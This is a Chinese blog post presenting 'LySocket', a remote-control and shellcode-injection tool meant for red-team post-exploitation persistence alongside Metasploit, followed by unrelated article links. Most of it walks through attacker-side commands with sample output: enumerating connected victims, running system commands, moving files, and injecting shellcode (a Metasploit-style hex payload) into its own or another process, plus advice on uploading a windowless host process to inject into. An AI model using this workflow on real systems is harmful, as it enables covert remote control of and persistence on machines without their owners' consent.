LySocket 远程ShellCode注入工具

一款基于C/C++开发的远程ShellCode注入工具,通常配合Metasploit一起使用,可实现远程注入反弹代码到指定进程,它由服务端和客户端两部分组成,并使用最少的代码实现了多Socket套接字管理机制,目前主要功能包括,获取客户端CPU、内存、进程列表、磁盘列表、目录与文件列表、执行系统命令、远程文件上传下载、以及远程ShellCode注入,该工具可用于红队渗透后的权限维持工作。本次分享工具源代码及使用方法,读者可根据自己的需要参考学习,并以此来更好的理解套接字是如何进行管理的。

image

首先,读者需要有一个公网IP地址,并在该地址上运行服务端程序,客户端可在被控主机上运行,为了防止技术滥用本工具并不提供开机自启动功能且不隐藏CMD窗口,其目的仅是让读者能够学习红队武器化的开发思路,若需应用于实战还需增加其他功能(例如加密传输),读者可根据自己的理解进行学习和完善。

ShowSocket

当在服务端上运行ShowSocket命令时,它会列出所有当前连接的客户端,其中包括客户端的IP地址、端口、及状态信息,该命令输出的信息通常包括以下内容:

[ LySocket ] # ShowSocket
--------------------------------------------------------------------
索引             客户端地址              端口            状态
--------------------------------------------------------------------
0                127.0.0.1               51453           Open
1                127.0.0.1               51454           Open
2                127.0.0.1               51455           Open
--------------------------------------------------------------------

GetCPU

当在服务端上运行GetCPU命令时,它会列出目标主机的CPU信息,包括CPUID、CPU型号、CPU空闲、CPU内核、CPU用户、CPU利用百分比等,该命令输出的信息通常包括以下内容:

[ LySocket ] # GetCPU --addr 127.0.0.1
--------------------------------------------------------------------
CPUID: 3219913727
CPUType: GenuineIntel
idle: 12500000
kernel: 12500000
user: 0
cpu: 0
--------------------------------------------------------------------

GetMemory

当在服务端上运行GetMemory命令时,它会获列出目标主机的内存信息,包括内存总量、内存剩余、内存已使用等信息,该命令输出的信息通常包括以下内容:

[ LySocket ] # GetMemory --addr 127.0.0.1
--------------------------------------------------------------------
内存总量                 内存剩余                内存已使用
--------------------------------------------------------------------
7878 MB                  4463 MB                 3415 MB
7878 MB                  4463 MB                 3415 MB
7878 MB                  4463 MB                 3415 MB
--------------------------------------------------------------------

GetProcessList

当在服务端上运行GetProcessList命令时,它会列出目标主机的进程列表信息,其中包括了进程PID、进程位数、进程名等,该功能主要用于挑选注入进程时使用,该命令输出的信息通常包括以下内容:

[ LySocket ] # GetProcessList --addr 127.0.0.1
--------------------------------------------------------------------
索引             进程PID                 进程位数                进程名
--------------------------------------------------------------------
0                4       x64             System
1                104     x64             Registry
2                440     x64             smss.exe
3                608     x64             csrss.exe
4                700     x64             csrss.exe
5                724     x64             wininit.exe
6                764     x64             winlogon.exe
7                844     x64             services.exe
8                860     x64             lsass.exe
9                980     x64             svchost.exe
10               1016    x64             svchost.exe
11               524     x64             fontdrvhost.exe
12               372     x64             fontdrvhost.exe
--------------------------------------------------------------------

GetDiskList

当在服务端上运行GetDiskList命令时,它会列出目标主机的磁盘列表信息,其中包括了磁盘名、磁盘类型、总容量、可用容量、已使用等,该命令输出的信息通常包括以下内容:

[ LySocket ] # GetDiskList --addr 127.0.0.1
----------------------------------------------------------------------------------------------------
磁盘名           磁盘类型                总容量                  可用空间                已使用
----------------------------------------------------------------------------------------------------
C:\              固定磁盘                256.000000              197.578125              58.421875
D:\              固定磁盘                675.508789              633.071289              42.437500
F:\              移动磁盘                1863.013672             1718.514648             144.499023
----------------------------------------------------------------------------------------------------

GetDiskFileList

当在服务端上运行GetDiskFileList命令时,它会列出目标主机特定目录下的磁盘文件信息,其中包括了文件名及文件大小,该命令输出的信息通常包括以下内容:

[ LySocket ] # GetDiskFileList --addr 127.0.0.1 --path c://
--------------------------------------------------------------------
文件名                           文件大小
--------------------------------------------------------------------
Boot                                                     0
bootmgr                                                  408344
PerfLogs                                                 0
Program Files                                            0
Program Files (x86)                                      0
ProgramData                                              0
Users                                                    0
Windows                                                  0
--------------------------------------------------------------------

GetCommand

当在服务端上运行GetCommand命令时,它会在目标系统中执行系统命令并输出执行结果,该命令输出的信息通常包括以下内容:

[ LySocket ] # GetCommand --addr 127.0.0.1 --cmd ipconfig
Windows IP 配置
以太网适配器 VMware Network Adapter VMnet1:

   连接特定的 DNS 后缀 . . . . . . . :
   本地链接 IPv6 地址. . . . . . . . : fe80::5484:f4a1:18e7:22e8%6
   IPv4 地址 . . . . . . . . . . . . : 192.168.16.1
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . :
--------------------------------------------------------------------

SendFile

当在服务端上运行SendFile命令时,它会将本地的特定文件发送到特定客户端上,例如将本地的d://lyshark.exe发送到对端的d://tmp/lyshark.exe目录下,可执行如下命令:

[ LySocket ] # SendFile --addr 127.0.0.1 --src d://lyshark.exe --dst d://tmp/
[+] 发送文件长度 14848
[*] 接收状态 1
[+] Success..

RecvFile

当在服务端上运行RecvFile命令时,它会将远程主机上特定文件接收到服务端上,例如将远程主机上的d://lyshark.exe接收到本地的d://tmp/目录下,可执行如下命令:

[ LySocket ] # RecvFile --addr 127.0.0.1 --src d://lyshark.exe --dst d://tmp/
[+] 生成保存路径 d://tmp/lyshark.exe
[+] 接收字节数: 14848
[+] Success..

InjectCode

当在服务端上运行InjectSelfCode命令时,它会将接收到的ShellCode注入到自身进程内并执行,例如执行如下命令:

[ LySocket ] # InjectSelfCode --addr 127.0.0.1 --shellcode fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31

若要将ShellCode注入到第三方进程中则可以使用InjectRemoteCode命令,该命令接收三个参数分别是目标地址、目标PID进程号、以及目标ShellCode代码,例如执行如下命令:

[ LySocket ] # InjectRemoteCode --addr 127.0.0.1 --pid 8762 --shellcode fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31

对于注入,推荐使用SendFile上传一个无窗体的进程,并通过调用GetCommand运行进程,最后调用InjectRemoteCode将其注入到对应的进程内,而不去使用系统中的其他进程。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/904064.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【JVM第2课】类加载子系统(类加载器、双亲委派)

类加载系统加载类时分为三个步骤,加载、链接、初始化,下面展开介绍。 文章目录 1 类加载器1.1 引导类加载器(BootStrapClassLoader)1.2 拓展类加载器(ExtClassLoader)1.3 应用类加载器(AppClas…

进一步认识ICMP协议

在日常工作中,我们经常需要判断网络是否连通,相信大家使用较多的命令就是 ping啦。ping命令是基于 ICMP 协议来实现的,那么什么是 ICMP 协议呢?ping命令又是如何基于 ICMP 实现的呢? 今天这篇文章,我们就来…

计算机网络-MSTP的基础概念

前面我们大致了解了MSTP的由来,是为了解决STP/RSTP只有一根生成树导致的VLAN流量负载分担与次优路径问题,了解MSTP采用实例映射VLAN的方式实现多实例生成树,MSTP有很多的理论概念需要知道,其实与其它的知识一样理论复杂配置还好的…

宠物空气净化器哪个牌子好?有没有噪音低的宠物空气净化器推荐?

如今随着社会竞争越来越激烈,不少人开始焦虑内耗,但为了能更好的生活,养宠物便成为不少人的排忧解乏的方法。 我也不例外,作为一名996社畜,天刚亮就出门,天黑很久才回家,所以选择养猫来陪我度过…

Linux shell编程学习笔记87:blkid命令——获取块设备信息

0 引言 在进行系统安全检测时,我们需要收集块设备的信息,这些可以通过blkid命令来获取。 1 blkid命令的安装 blkid命令是基于libblkid库的命令行工具,可以在大多数Linux发行版中使用。 如果你的Linux系统中没有安装blkid命令,…

华为手机卸载系统应用的方法

摘要: 1.手机环境:手机需要开启开发者模式并使用usb连接电脑,并选择文件传输模式 2.电脑环境:使用鸿蒙工具箱进行傻瓜操作或安装adb工具进行命令卸载 3.鸿蒙工具箱和adb工具本质都是使用adb shell pm uninstall -k --user 0 xx…

聊聊我在新加坡的近况

我是 2022 年 4 月初过来新加坡的,然后两个月后就把老婆孩子们也接了过来。时至今日,已经两年半有余了。 22 年 8 月初的时候,写过一篇文章「聊聊我在新加坡的生活和工作体验」,没想到成了一篇热门文章,在知乎上不知不…

C语言笔记(指针题目)例题+图解

本文分为两部分 ,第一部分为数组、字符串、字符指针在sizeof和strlen中的辨析,第二部分是一些笔试题目。若有错误,请批评指正。 目录 1.第一部分 1.1.数组名的使用 1.1.1一维整型数组在sizeof中的使用 1.1.2一维字符数组在sizeof中的使用…

ADC开启

ADC性能参数: 1.分辨率 用LSB表示: LSBVref/2^N 2.失调误差 3.增益误差 4.微分非线性误差 微分非线性:指的是数字输出每增加“1”时,输出模拟量的变化值与LSB的差距。 DNL (2.2-1)LSB 1.2LSB 5.积分非…

深度学习案例:带有一个隐藏层的平面数据分类

该案例来自吴恩达深度学习系列课程一《神经网络和深度学习》第三周编程作业,作业内容是设计带有一个隐藏层的平面数据分类。作业提供的资料包括测试实例(testCases.py)和任务功能包(planar_utils.py),下载请…

学习threejs,使用粒子实现下雪特效

👨‍⚕️ 主页: gis分享者 👨‍⚕️ 感谢各位大佬 点赞👍 收藏⭐ 留言📝 加关注✅! 👨‍⚕️ 收录于专栏:threejs gis工程师 文章目录 一、🍀前言1.1 ☘️THREE.Points简介1.11 ☘️…

在Excel中如何快速筛选非特定颜色

Excel中的自动筛选是个非常强大的工具,不仅可以筛选内容,而且可以筛选颜色,例如筛选A列红色单元格。但是有时希望筛选除了红色之外的单元格(下图右侧所示),其他单元格的填充色不固定,有几种颜色…

llama.cpp基础知识与原理导读

llama.cpp 是一个轻量化的 C++ 实现,专注于 Meta 的 LLaMA 模型的推理和部署。该项目致力于在不依赖庞大的深度学习框架(如 PyTorch、TensorFlow 等)的情况下,实现对 LLaMA 模型的高效运行,特别是在资源受限的设备上(如个人电脑和手机)。以下是 llama.cpp 的主要工作原理…

【Android14 ShellTransitions】(八)播放动画

书接上回,话说当WMCore部分走到了Transition.onTransactionReady,计算完参与动画的目标,构建出TransitionInfo后,接下来就把这个包含了动画参与者的TransitionInfo发给了WMShell,然后就该播放动画了,这部分…

ELK + Filebeat + Spring Boot:日志分析入门与实践(二)

目录 一、环境 1.1 ELKF环境 1.2 版本 1.3 流程 二、Filebeat安装 2.1 安装 2.2 新增配置采集日志 三、logstash 配置 3.1 配置输出日志到es 3.2 Grok 日志格式解析 3.2 启动 logstash ​3.3 启动项目查看索引 一、环境 1.1 ELKF环境 springboot项目:w…

C#实现word和pdf格式互转

1、word转pdf 使用nuget: Microsoft.Office.Interop.Word winform页面: 后端代码: //using Spire.Doc; //using Spire.Pdf; using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using Sy…

成都睿明智科技有限公司抖音电商服务的领航者

在这个短视频风起云涌的时代,抖音电商以其独特的魅力迅速崛起,成为无数商家争夺流量与销量的新战场。在这片红海之中,如何脱颖而出,实现销售额的飞跃?今天,就让我们一同走进成都睿明智科技有限公司&#xf…

力扣hot100-->递归/回溯

目录 递归/回溯 1. 17. 电话号码的字母组合 2. 22. 括号生成 3. 39. 组合总和 4. 46. 全排列 5. 78. 子集 递归/回溯 1. 17. 电话号码的字母组合 中等 给定一个仅包含数字 2-9 的字符串,返回所有它能表示的字母组合。答案可以按 任意顺序 返回。 给出数字到…

快速遍历包含合并单元格的Word表格

Word中的合并表格如下,现在需要根据子类(例如:果汁)查找对应的品类,如果这是Excel表格,那么即使包含合并单元格,也很容易处理,但是使用Word VBA进行查找,就需要一些技巧。…

js 获取当前时间与前一个月时间

// 获取当前时间的毫秒数 var currentTimeMillis new Date().getTime();// 获取前一个月的Date对象 var dateLastMonth new Date(); dateLastMonth.setMonth(dateLastMonth.getMonth() - 1);// 获取前一个月的毫秒数 var timeMillisLastMonth dateLastMonth.getTime();conso…